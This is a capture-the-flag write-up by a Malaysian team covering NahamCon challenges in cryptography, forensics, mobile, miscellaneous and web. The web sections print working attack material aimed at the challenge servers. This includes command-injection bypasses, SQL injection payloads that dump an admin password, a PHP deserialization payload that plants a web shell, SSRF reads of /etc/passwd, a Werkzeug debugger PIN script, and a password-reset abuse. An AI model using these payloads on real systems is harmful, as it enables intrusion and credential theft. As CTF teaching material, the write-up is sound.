All of the challenges were solve by members of Team H0j3n which most of us is a students from Malaysia. Some of the challenges were solve before and after the event. Hope this writeup could help anyone in future :)
Found one tool by@JohnHammondwhich could help us decode this. If anyone who still new in Capture The Flag you should go on John Hamond Channels you can learn a lot!
Open file in notepad shows a string of symbols, this string are known as wingdings. Use online Wingdings Translator.
Car Keys
q w e r t y a b c d f g h i j k l m n o p s u v x z
a b c d e f g h i j k l m n o p q r s t u v w x y z
ygqa{6y980e0101e8qq361977eqe06508q3rt}
Buzz
Open file using HxD show file signature of 1F 9D which is tar zip file. Rename the file into a zip file such as .zip or .z allow it to be extracted and reveal a file containing the flag that can be open with any notepad.
Pollex
The flag is actually on the thumbnail of the image. Zoom in on the thumbnail to read the flag
Shoelaces
Open file in notepad and search flag{ .
Esab64
Open file in notepad shows a string. Name of the question give a hint on converting the strings through base64 and reverse the string.
As we go into the challenge website , we can see this page
Trying to provide some common command injection technique seems to be fail. But using the below commands seems to be working
`id`
So let's try to read index.php
<?php
$to_echo = $_REQUEST['echo'];
$cmd = "bash -c 'echo " . $to_echo . "'";
if(isset($to_echo)) {
if($to_echo=="") {
print "Please don't be lame, I can't just say nothing.";
}elseif (preg_match('/[#!@%^&*()$_+=\-\[\]\';,{}|":>?~\\\\]/', $to_echo)) {
print "Hey mate, you seem to be using some characters that makes me wanna throw it back in your face >:(";
}elseif ($to_echo=="cat") {
print "Meowwww... Well you asked for a cat didn't you? That's the best impression you're gonna get :/";
} elseif (strlen($to_echo) > 15) {
print "Man that's a mouthful to echo, what even?";
} else {
system($cmd);
}
}else {
print "Alright, what would you have me say?";
}
?>
Based on the source code we can see that its running a command to echo. But if we can solve the preg_match it should be okay . We can use this website to check .
#Commands that possible
<
/
.
`
As the flag.txt one directory behind. We can read the flag using the command below. Make sure it is less than 15.
`< ../flag.txt`
Homeward Bound
As we go into the challenge page . We will see this
Let's try to curl with X-Forwarded-For . We get the flag!
Once sign up and login we will be able to see this
We know that we can:
Create a new post
Search something
See who view our post
Thus let's create on blog and see what we can do next.
Looking back at who view our post shows this
Might be there is a database that store all of this. One things we know that User-Agent must have something to do with it. Intercept the request and play around with the User-Agent give us something after put single quote.
Playing around with the payload we found this
#What its doing
insert into visit (post_id, user_id, ua) values (5,2,'$user-agent');
#Payload To try
insert into visit (post_id, user_id, ua) values (5,2,''|| (payload( || '');
#Real Payload
'|| (payload) ||'
You can read more in here
The payload that we can use is this
#Retrieve Table Name
'|| (SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%') || '
#Retrieve Column Name
'|| (SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='user') || '
#Retrieve Admin's Password
'|| (SELECT password FROM user where username='admin') || '
The results we can see is here
Thus we can login as an admin using this credentials that we found !
admin:J3H8cqMNWxH68mTj
Cereal and Milk
Looking at the page we can see this
Since we have both index.php and log.php we can get this
This might be vulnerable to PHP Deserialization Attack.
If the class of the serialized object implements any
method named "__wakeup()" and "__destruct()", these methods will be executed
automatically when "unserialize()" is called on an object.
Thus since in log.php there is __destruct() function we can craft our payload.
#payload.php
<?php
include 'log.php';
class CerealAndMilk
{
public function __construct()
{
$this->logs = new log();
}
}
$payload = new CerealAndMilk();
echo serialize($payload);
?>
#log.php
<?php
class log
{
public function __construct()
{
$this->logs='shell.php';
$this->request='<?php system($_GET["c"]); ?>';
}
public function __destruct()
{
$request_log = fopen($this->logs , "a");
fwrite($request_log, $this->request);
fwrite($request_log, "\r\n");
fclose($request_log);
}
}
?>
Opening the website we will see a login page with 2FA OTP needed.
Going through forgot your password and try to give username as admin will give us his email
Also if we sign up, we will see a QR Code that we need to scan using Google Authenticator
You can use temporary email for this challenge
Decode the QR Code will give us
#After Decode
otpauth://totp/2Password:test12?secret=ORSXG5BRGIYTEMZUGU3DOOBZ&issuer=2Password
#Information we can get
- username
- secret (base32)
* ORSXG5BRGIYTEMZUGU3DOOBZ
* test12123456789 #username<otp secret>
If we click forgot password with entering a valid username. It will send a password reset to their email
Since we have all of the information that we need. These steps could help us get access to the admin.
#What is the admin OTP?
- Since the secret code is static we can craft it
* admin123456789
* MFSG22LOGEZDGNBVGY3TQOI%3D (base32)
- otpauth://totp/2Password:admin?secret=MFSG22LOGEZDGNBVGY3TQOI%3D&issuer=2Password
- Generate QR Code and Scan using Google Authenticator (https://www.qr-code-generator.com/)
#What is the admin Password?
- Since we have the admin's email
* We can try play with the forgot password
Looking at the data POST to forgot password. We will get success if we put the correct email. But if we put someone else password it will not give us success
But if we add both email? Will it get accepted? Nope. It's not working :(
Looking for a method to send multiple emails or recipients we found this. Which we need to add a ; semicolon to add multiple emails. Let's try this!
It saying success! By checking email we get the password reset link!
Let's change the password first!
Once we manage to get in with the password changed and OTP that we link in our Google Authenticator App, we can get the flag easily :)
Workerbee
Inside the page, we will see this
As we would like to give an url to the Buzz! we got this error
#INPUTS
http://challenge.nahamcon.com:PORT
But if we provide https to something that does not have one, it will show an error too.
#INPUTS
https://challenge.nahamcon.com:PORT
We need to find a way on how to ensure our url can get accepted without having https:// error. You can look in here where # can be used to show a fragment or section from a page.
Yes! Looking at the bottom of the page there is a link /workerbee . Going to the page we can see jinja2 exceptions.
Clicking one of those errors gives us a pop-out. Since this is a flask application it comes with a PIN to unlock the console if the debugger is enabled.
Looking at hacktricks we can actually get the PIN if we found all the information that needed.
#Information that we need
1. username #(who start the flask application)
2. modname #(flask.app)
3. getattr(app, '__name__', getattr (app .__ class__, '__name__')) #(Flask)
4. getattr(mod, '__file__', None) #(absolute path of an app.py in the flask directory)
5. uuid.getnode() #(MAC address of the current computer)
6. get_machine_id() #(/etc/machine-id or /proc/sys/kernel/random/boot_id or /proc/self/cgroup)
If we can find a way to get all of these files it should be helpful. Let's check again the buzz. Using file URI Scheme we can get the files that we needed inside the machine. Using the same technique of # we manage to retrieve /etc/passwd
file:////etc/passwd#https://
Nice one! let's get the information one by one and get the PIN.
1. Username (Who Start The Application)
To get more information about the current user. Let's check on /proc/self/environ since it contains the environments of the process
file:///proc/self/environ#https://
#What we get
MAIL=/var/mail/workerbee
USER=workerbee #Username
HOME=/home/workerbee
LOGNAME=workerbee
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
LANG=C.UTF-8
SHELL=/bin/sh
PWD=/home/workerbee
LC_ALL=C.UTF-8
WERKZEUG_SERVER_FD=3W
ERKZEUG_RUN_MAIN=true
2. Modname
The modname should be flask.app
3. App Class Name
This one should be Flask
4. Absolute Path of app.py
Looking at the exceptions we got in /workerbee it gives us the absolute path to aapp.py
sometimes we need to append a piece of information within /proc/self/cgroup that you find at the end of the first line (after the third slash)
#What we know
- /etc/machine-id #Nothing
- /proc/sys/kernel/random/boot_id #Got something
- /proc/self/cgroup #Got 3 slash on first line
#Machine-Id (/proc/sys/kernel/random/boot_id only)
d1da8289-38eb-435d-85f1-1f479e85fcdb #(From boot_id
dc95e71ebf5472c911f8a6c75a73312258c40e4fec0d7fbe4357e181fe99c158 #(From cgroup)
Collection of information
1. Username : workerbee
2. Modname : flask.app
3. App Class Name : Flask
4. Absolute Path of app.py : /usr/local/lib/python3.8/dist-packages/flask/app.py
5. Mac-Address : 231454497114201
6. Machine-id : d1da8289-38eb-435d-85f1-1f479e85fcdbdc95e71ebf5472c911f8a6c75a73312258c40e4fec0d7fbe4357e181fe99c158
Script to get PIN
import hashlib
from itertools import chain
probably_public_bits = [
'workerbee',# username
'flask.app',# modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.8/dist-packages/flask/app.py' #From /workerbee
]
private_bits = [
'231454497114201', #/sys/class/net/eth0/address
'd1da8289-38eb-435d-85f1-1f479e85fcdbdc95e71ebf5472c911f8a6c75a73312258c40e4fec0d7fbe4357e181fe99c158' #/proc/sys/kernel/random/boot_id + /proc/self/cgroup
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
Running the script we got the pin as 170-810-363 . Now let's go to /console and get a reverse shell .
Get a reverse shell and we saw sudo -l can be run with ALL
sudo bash and we can get the flag!
Cryptography
Dice Roll
This challenge solve by @Kaitorque . There is menu to reset the random.seed() value and get the value of the random.getrandbits() as much as we can. Therefore, we can predict the next state or number when given enough value of the generated number. More information :
import random
from pwn import *
from mt19937predictor import MT19937Predictor
predictor = MT19937Predictor()
r = remote('challenge.nahamcon.com', PORT)
t = r.recvuntil("> ")
#r.sendlineafter("> ", str(1))
r.sendline(str(1))
i = 1
for _ in range(624):
print(i)
t = r.recvuntil("> ")
r.sendline(str(2))
t = r.recvuntil(":") print(t)
t = r.recvline().decode('UTF-8').rstrip()
t = r.recvline().decode('UTF-8').rstrip()
print(t)
predictor.setrandbits(int(t), 32)
i+=1
t = r.recvuntil("> ")
r.sendline(str(3))
t = r.recvuntil("> ")
r.sendline(str(predictor.getrandbits(32)))
t = r.recvuntil(":")
print(t)
t = r.recvline().decode('UTF-8').rstrip()
t = r.recvline().decode('UTF-8').rstrip()
print(t)
Eaxy
The spelling should be easy but why eaxy ? So xor come out :) Trying with Cyberchef give us this
Key = 66: The XOR key you used to find string this is the 0 character index of the flag
#More information
66 = f
- Which means that we need to try and get the correct key for the next sentence.
Like usual script all the wayyy!
key = ['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z', '{', '}']
flag = ["-"]*38
for keys in key:
b = bytearray(open('eaxy', 'rb').read())
for i in range(len(b)):
b[i] ^= int(hex(ord(keys)),16)
if "The XOR key you used" in str(b):
for i in str(b).split("this is the ")[1:]:
flag[int(i[0:2])] = str(keys)
print("".join(flag))
Treasure
This challenge thanks to @asylumdx for finding the easy way to get the flag. Since we have both note.txt and hackers.txt . Looks like it must be related to Book Cipher
Downloading the file and looking at what type file shows us
To uncompyle this you can use
#Make sure ends with .pyc
uncompyle6 parseltounge.pyc
Trying to run the script we encounter with an error, which error might be happens because its xor str and int
#Change this part and print
zzz = bytes([_a ^ ord(_b) for _a, _b in zip(sss, zzss)])
print(zzz)
We will get the flag printed!
HenPeck
Looking at the pcap file using wireshark we will see that this contains USB protocol
To solve this we can use from this Github Tool
python3 UsbKeyboardDataHacker.py henpeck.pcap
TypeWriter
The files so big around 400MB so its going take a while to download. Unzip the file we will get image.bin . Favorite tools that people would use is volatility and in this challenge we will use the version 3
#Check Windows Info
python3 vol.py -f image.raw windows.info.Info
Using filescan we found a document file which the name is suspicious
All of the challenges in Mobile solved by @Kaitorque
Andra
Use tool apktool to decode the .apk . After that perform search on the apk folder for string flag{ . The flag is in \andra\res\layout\activity_flag.xml
Resourceful
Use tool dex2jar to convert the .apk into .jar . Then look into MainActivity.class for the password
Install the apk and use the password will reveal the flag.
Microscopium
Use tool apktool to decompile the .apk . It shows that it is using react native which bundle up some file in assets folder index.android.bundle . Using React Native Decompiler to decompile the file revealing large number of .js file. The file 400.js contains the function for the password
Since it only using number for input. We can create JavaScript script inside the same folder to bruteforce the flag
module401 = require('./401'),
module402 = require('./402');
partKey = 'pgJ2K9PMJFHqzMnqEgL';
cipher64 = 'AA9VAhkGBwNWDQcCBwMJB1ZWVlZRVAENW1RSAwAEAVsDVlIAV00=';
var n = module401.Base64.toUint8Array(cipher64);
var o = module402.sha256.create();
for(var i=0; i<999999999; i++)
{
o = module402.sha256.create();
o.update(partKey)
o.update(i.toString()) //4784
for (var l = o.hex(), u = '', c = 0; c < n.length; c++) u +=
String.fromCharCode(n[c] ^ l.charCodeAt(c));
if(u.startsWith("flag{"))
{
console.log("Pin: "+i.toString()+", output: "+u)
//flag{06754e57e02b0c505149cd1055ba5e0b}
}
}
Miscellaneous
Abyss
Trying to connect to the server we will get this
To check if there is a flag in here lets use the steps below
1. ssh -p PORT user@challenge.nahamcon.com > log.txt
2. Wait for a while
3. strings log.txt | grep -i "flag{"
Prison Break
As we connect to the server we will see something like this.
We have tried several commands and we found that cat seems possible to run.
But as we would like to read /etc/passwd it keeps showing us like this
But after playing with cat . We found that if we include the file that we want to read with single quote ' or in double quotes " we will be able to read the file . Thus we will get the flag!
cat "/just/out/of/reach/flag.txt"
Alphabet Soup
Looking at the extension of the file it is .cs which referring to C# language script. Let's use dotnetfiddle as it is online compiler.
But there is an error.
Once the code has been fix let's try run it again
We get a base64 encoded. Lets' decode and open it in our machine.
Let's decompile it using online decompiler and we will found the flag!
Zenith
Entering the machine and see sudo -l we can see that we can run sudo on zenity
If we try to run locally. We can do so many things but how we can run on the machine without having any UI?
zenity --file-selection
Searching for a way how to solve this we found
Let's try specify -X during SSH
ssh -X -p PORT user@challenge.nahamcon.com
It works! But how can we read or play with the file? We know that there is a flag in /root/get_flag but also there is id_rsa for root
Easy way we should just get the key and access as root to run the get_flag
#Access as root
ssh -p PORT root@challenge.nahamcon.com -i id_rsa
Gone Batty
This challenge is awesome!
It is a windows batch file. Let's try to run it.
What can we expect to run and get flag? Hahaha . Okay so let's try to understand the code and hopefully we can deobfuscate it.
* The first line we saw saying set something
- Set is use for define variable
* To call the variable you need to use %%
#Example
set something=test
%something% a=b
After replacing the variable we see this
There is a lot of set !!! But after understand the code and manually replace it using Notepad++ we can see that for example this part
So 97 is actually a . Thus there is a lot of variable that we need to change. You can solve it manually or here the script to help you :)
#Half.txt
@echo off
set zfvgawagi=set
%zfvgawagi% ufykqylob=
%zfvgawagi%%ufykqylob%gazhkl==
%zfvgawagi%%ufykqylob%lsdppuf%gazhkl%/
%zfvgawagi%%ufykqylob%kamnrmirz%gazhkl%a
%zfvgawagi%%ufykqylob%kcjmprb%gazhkl%c
%zfvgawagi%%ufykqylob%nsxzbbjvw%gazhkl%m
%zfvgawagi%%ufykqylob%btohszm%gazhkl%d
%zfvgawagi%%ufykqylob%swpkkttax%gazhkl%e
%zfvgawagi%%ufykqylob%smivqg%gazhkl%x
%zfvgawagi%%ufykqylob%nbyxysg%gazhkl%i
%zfvgawagi%%ufykqylob%fhqrcmmp%gazhkl%t
%zfvgawagi%%ufykqylob%lmkzcgr%gazhkl%
#===first_script.py===
ori_text =""
files = open('half.txt').read()
for i in files.split("\n"):
ori_text += i
ori_text += "\n"
#First Step (Read half.txt) only
checker = 0
beforeLength = 0
afterLength = 0
list_left =[]
list_right = []
while True:
beforeLength = len(ori_text)
for text in ori_text.split("\n"):
if "set" in text:
try:
left,right = text.split("=")
except:
if "ufykqylob" in text:
left = "set ufykqylob"
right = " "
elif "gazhkl" in text:
left = "set gazhkl"
right = "="
else:
print()
ori_text = ori_text.replace("%"+left[4:]+"%",right)
if "set" not in right:
list_left.append(left[4:])
list_right.append(right)
afterLength = len(ori_text)
if beforeLength == afterLength:
checker+=1
if checker >5:
break
real_left = ["zfvgawagi"]
real_right = ["set"]
for i in range(0,len(list_left)):
if list_left[i] not in real_left:
real_left.append(list_left[i])
real_right.append(list_right[i])
#Output
#real_left =['zfvgawagi', 'ufykqylob', 'gazhkl', 'lsdppuf', 'kamnrmirz', 'kcjmprb', 'nsxzbbjvw', 'bto>
#real_right = ['set', ' ', '=', '/', 'a', 'c', 'm', 'd', 'e', 'x', 'i', 't', ' ']
The second part we want to get the next character and its variables
Thus when we look again we found some sort of flag!!
When we sort it we will get the flag :)
text ='''
12=3
37=c
5={
34=e
3=a
36=1
16=c
9=5
20=b
38=}
2=l
35=8
17=d
6=b
1=f
19=b
31=b
27=7
24=d
26=1
11=c
25=1
29=9
15=3
21=e
22=c
13=e
30=2
33=2
14=3
18=e
23=9
8=9
4=g
28=2
32=d
10=c
7=3
'''
list_character = []
index = 0
flag = ""
for i in text.split("\n"):
list_character.append(i)
for i in list_character[1:-1]:
print(i.split('='))
while True:
for i in list_character[1:-1]:
if int(i.split('=')[0]) == index:
print(i.split('=')[1])
flag += i.split('=')[1]
break
index += 1
print(flag)
At first we were stuck for a while but after @Kaitorque manage to find out that every box actually have different hex color and each of the first hex will actually get us a real ascii after converted.
#After Converted
8 e 1 3 0 d b 4 2 9 1 c 4 f 2 9 0 0 2 2 5
e f b f a 2 5 7 2 2 5 b e 2 b 3 c 9 e 1 3
7 0 6 b 3 c 1 a 4 e } 2 f 7 9 2 9 b 6 c 6
b c 8 3 d e 8 c 7 d c 4 c 6 9 0 4 8 a 1 d
8 c f d a 5 8 b 8 c 2 a 2 7 0 6 7 5 c 5 4
c 7 4 c 9 a 5 4 6 7 b 7 { 6 a b 4 f e 0 0
8 d d 2 4 7 b f 3 4 8 5 g f 5 c 4 7 e f d
e d f 2 e 2 6 d f c f l a 2 0 0 7 0 1 e 9
4 5 2 2 0 b b a 3 f 0 c b 1 3 4 3 2 c 2 e
4 4 d 6 5 7 d 1 e b 9 6 a f 4 a f 9 a 6 3
7 3 9 5 2 b 8 1 5 9 d 6 3 4 3 0 2 0 4 5 3
8 5 1 a 2 7 f 9 2 4 c 6 d 8 1 9 1 e 2 b 3
5 5 b 5 4 f c 6 d 8 7 c c 8 9 b 0 4 6 b d
e 2 a b 9 5 c d f 9 4 3 1 c 2 b a 9 f 3 3
0 c 2 1 d 9 f 8 d 0 3 d a b 6 a b 4 6 e 5
Thus we can see that the red center is actually tell us to start from that and the arrow is actually give us the path to get the flag!
Here is our script to make things easier. Thanks to @Kaitorque !!!
from PIL import Image
def rgb_to_hex(rgb):
return '%02x' % rgb
im = Image.open("ddr.png")
pix = im.load()
xsize = im.size[0]
ysize = im.size[1]
print(xsize)
print(ysize)
rows, cols = (15, 21)
alphamatrix = [[0 for i in range(cols)] for j in range(rows)]
print(rgb_to_hex((pix[1,1][0])))
print(rgb_to_hex((pix[65,1][0])))
print(rgb_to_hex((pix[129,1][0])))
j = 1
for y in range(15):
i = 1
for x in range(21):
alphamatrix[y][x] = rgb_to_hex((pix[i,j][0]))
i+=64
j+=64
for y in range(15):
for x in range(21):
if alphamatrix[y][x] == "ff":
print("@", end="")
else:
print(bytes.fromhex(alphamatrix[y][x]).decode('utf-8'), end="")
print()
arrow = "rruuulurrdrrruluuldluulddluulllddrurd"
row = 10
col = 7
print("f", end="")
for x in arrow:
if x == "l":
row -= 1
if x == "r":
row += 1
if x == "u":
col -= 1
if x == "d":
col += 1
print(bytes.fromhex(alphamatrix[col][row]).decode('utf-8'), end="")
The Mission
Bionic
Looking at the page constellation.page we will see this
As the description say that we might find some low-hanging fruit lets check /robots.txt and we got the flag!
Meet The Team
As the description say about version control software it might be related to git . Thus let's check if there is .git in the page